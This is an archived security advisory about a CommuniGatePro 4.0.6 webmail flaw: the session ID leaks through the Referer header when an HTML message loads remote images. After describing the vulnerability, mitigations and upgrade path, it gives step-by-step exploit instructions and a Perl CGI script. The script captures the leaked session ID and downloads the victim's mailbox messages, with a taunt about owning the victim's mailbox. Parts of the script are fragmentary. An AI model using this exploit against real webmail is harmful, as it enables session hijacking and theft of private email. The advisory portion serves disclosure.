Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Web :: Apps :: bt116.txt

CommuniGatePro 4.0.6

Vulnerability in CommuniGatePro webmail under some

circumstances may allow attacker to get access to users



CommuniGatePro version 4.0.6 and earlier.

Not vulnerable (according to 4.1b2 (with

UseCookies option)



Stalker Software Inc.



Session ID used in CGP WebMail to track sessions is

transferred in REFERER field of HTTP request when user

browsers requests images or other resources from HTML

message. Attacker can send HTML message with img src

from his server and when user will read it in webmail,

attacker may visit address from REFERER field and

hijack current user session - read mailbox, write

messages, etc.

Mitigating Factors: 

If user has turned on IP session control attacker can

access mailbox only from user IP (or use same proxy).

Access is opened only for duration of session time.


Upgrade to 4.1b2 or later version.



There is no known way to fix problem on server side,

but users can configure their browsers, proxy servers

and/or firewalls not to send REFERER field and change

setting to allow only one IP to be used during session

(this option alone doesn't help against exploit if

attacker can use same proxy server as victim).


Vendor status: 

Problem was known or long time and mentioned in CGP

maillists. Vendor confirmed problem and fixed in 4.1b2. 

Exploit section


Exploit howto


Below is exploit code. Place it into cgi-bin, then

(recommended) make symlink from

DocumentRoot/AnyImage.gif to, configure

at least $url variable, and possible other vars and

send victim HTML message with img src to your

AnyImage.gif. When victim will read message, script

will download messages 1..10 from his mailbox (if


Script will work even if "require fixed address" option

enabled (set $abuseproxy=1), but it needs access to

users proxy (IP will be detected automatically). So, if

your victim uses same corporate proxy as you, then 

you're lucky, you can own his mailbox! :)

If victim uses HTTPS to access CGP webmail, use

https:// link to image. some browsers will still send

HTTP_REFERER if _both_ sites are https.

Exploit code (




# session hijacking and mail downloading exploit for

CommuniGatePro 4.0.6


# Yaroslav Polyakov.


use LWP::UserAgent;

# configuration vars









sub printgif





  print "Content-Type: image/gif\n";

  print "\n";

  print "$gif1x1";


open LOG, "> $logfile" || die("cant write to my log");




print LOG "remote: $remote\nreferer: $referer\n";

# if($referer=~/SID=([0-9a-zA-Z\-]+)/){



                print LOG "SID: $SID\n";


                                print LOG "sorry, cant

find out SID\n";



# create request

my $ua = new LWP::UserAgent;

$ua->agent("shj - sysAttack CGP session HiJack/1.0");


                print LOG "set proxy







                $eurl =~ s/%N%/$index/;

                $eurl =~ s/%SID%/$SID/;

                print LOG "fetching $eurl\n";

                $request = new HTTP::Request("GET", $eurl);

                $response = $ua->request($request);


                                print LOG

$response->code." ".$response->message


                                open MSG, ">

$msgprefix$index" or die('cant crea

te $msgprefix$index');

                                print MSG


                                close MSG;


                                print LOG "undefined




close LOG;



And sorry for bad english :)

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH